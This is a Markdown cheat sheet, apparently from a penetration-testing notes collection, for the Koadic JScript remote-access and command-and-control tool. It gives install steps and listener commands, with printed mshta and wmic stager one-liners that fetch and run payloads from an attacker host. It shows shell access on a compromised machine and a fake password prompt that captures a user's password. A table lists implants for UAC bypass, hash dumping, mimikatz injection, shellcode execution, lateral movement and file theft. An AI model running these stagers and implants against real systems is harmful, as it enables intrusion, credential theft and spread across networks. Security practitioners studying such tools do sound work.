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123 lines
4.3 KiB
Markdown
123 lines
4.3 KiB
Markdown
# Koadic C3 COM Command & Control - JScript RAT
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> Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire.
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## Installation
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```powershell
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git clone https://github.com/zerosum0x0/koadic
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git submodule init
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git submodule update
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pip2.7 install -r requirements.txt --user
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python2.7 koadic
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```
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## Set a listener
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```powershell
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use stager/js/mshta
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set LHOST 192.168.1.19
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set SRVPORT 4444
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run
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[>] mshta http://192.168.1.19:4444/6DX7f
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```
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```powershell
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use stager/js/wmic
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set LHOST 192.168.1.19
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set SRVPORT 4444
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run
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[>] wmic os get /FORMAT:"http://192.168.1.19:4444/lQGx5.xsl"
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```
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### Stagers
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Stagers hook target zombies and allow you to use implants.
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Module | Description
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--------|------------
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stager/js/mshta | serves payloads using MSHTA.exe HTML Applications
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stager/js/regsvr | serves payloads using regsvr32.exe COM+ scriptlets
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stager/js/wmic | serves payloads using WMIC XSL
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stager/js/rundll32_js | serves payloads using rundll32.exe
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stager/js/disk | serves payloads using files on disk
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## List zombies and interact with them
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```powershell
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(koadic: sta/js/wmic)$ zombies
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ID IP STATUS LAST SEEN
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--- --------- ------- ------------
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0 192.168.1.30 Alive 2018-10-04 17:07:12
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(koadic: sta/js/wmic)$ zombies 0
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ID: 0
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Status: Alive
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First Seen: 2018-10-04 17:05:00
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Last Seen: 2018-10-04 17:14:42
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IP: 192.168.1.30
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User: DESKTOP-68URA9U\CrashWin
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[...]
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Elevated: No
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[...]
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```
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Interact with `zombies zombie_id`, get a shell with `cmdshell zombie_id`.
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```powershell
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[koadic: ZOMBIE 0 (192.168.1.30) - C:\Users\CrashWin]> whoami
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[*] Zombie 0: Job 1 (implant/manage/exec_cmd) created.
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[+] Zombie 0: Job 1 (implant/manage/exec_cmd) completed.
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Result for `cd C:\Users\CrashWin & whoami`:
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desktop-68ura9u\crashwin
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```
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## Use an implant
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Select an implant with `use module`, then fill the `info` with `set INFO value`, finally start the module with `run`.
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```powershell
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(koadic: sta/js/mshta)$ use implant/phish/password_box
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(koadic: imp/phi/password_box)$ set ZOMBIE 1
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(koadic: imp/phi/password_box)$ run
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Input contents:
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MyStrongPassword123!
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```
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### Implants
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Implants start jobs on zombies.
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Module | Description
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implant/elevate/bypassuac_eventvwr | Uses enigma0x3's eventvwr.exe exploit to bypass UAC on Windows 7, 8, and 10.
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implant/elevate/bypassuac_sdclt | Uses enigma0x3's sdclt.exe exploit to bypass UAC on Windows 10.
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implant/fun/zombie | Maxes volume and opens The Cranberries YouTube in a hidden window.
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implant/fun/voice | Plays a message over text-to-speech.
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implant/gather/clipboard | Retrieves the current content of the user clipboard.
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implant/gather/enum_domain_info | Retrieve information about the Windows domain.
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implant/gather/hashdump_sam | Retrieves hashed passwords from the SAM hive.
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implant/gather/hashdump_dc | Domain controller hashes from the NTDS.dit file.
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implant/gather/user_hunter | Locate users logged on to domain computers (using Dynamic Wrapper X).
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implant/inject/mimikatz_dynwrapx | Injects a reflective-loaded DLL to run powerkatz.dll (using Dynamic Wrapper X).
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implant/inject/mimikatz_dotnet2js | Injects a reflective-loaded DLL to run powerkatz.dll (@tirannido DotNetToJS).
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implant/inject/shellcode_excel | Runs arbitrary shellcode payload (if Excel is installed).
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implant/manage/enable_rdesktop | Enables remote desktop on the target.
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implant/manage/exec_cmd | Run an arbitrary command on the target, and optionally receive the output.
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implant/phishing/password_box | Prompt a user to enter their password.
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implant/pivot/stage_wmi | Hook a zombie on another machine using WMI.
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implant/pivot/exec_psexec | Run a command on another machine using psexec from sysinternals.
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implant/scan/tcp | Uses HTTP to scan open TCP ports on the target zombie LAN.
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implant/utils/download_file | Downloads a file from the target zombie.
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implant/utils/multi_module | Run a number of implants in succession.
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implant/utils/upload_file | Uploads a file from the listening server to the target zombies.
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## References
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- [Pentestlab - koadic](https://pentestlab.blog/tag/koadic/)
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- [zerosum0x0 Github - koadic](https://github.com/zerosum0x0/koadic) |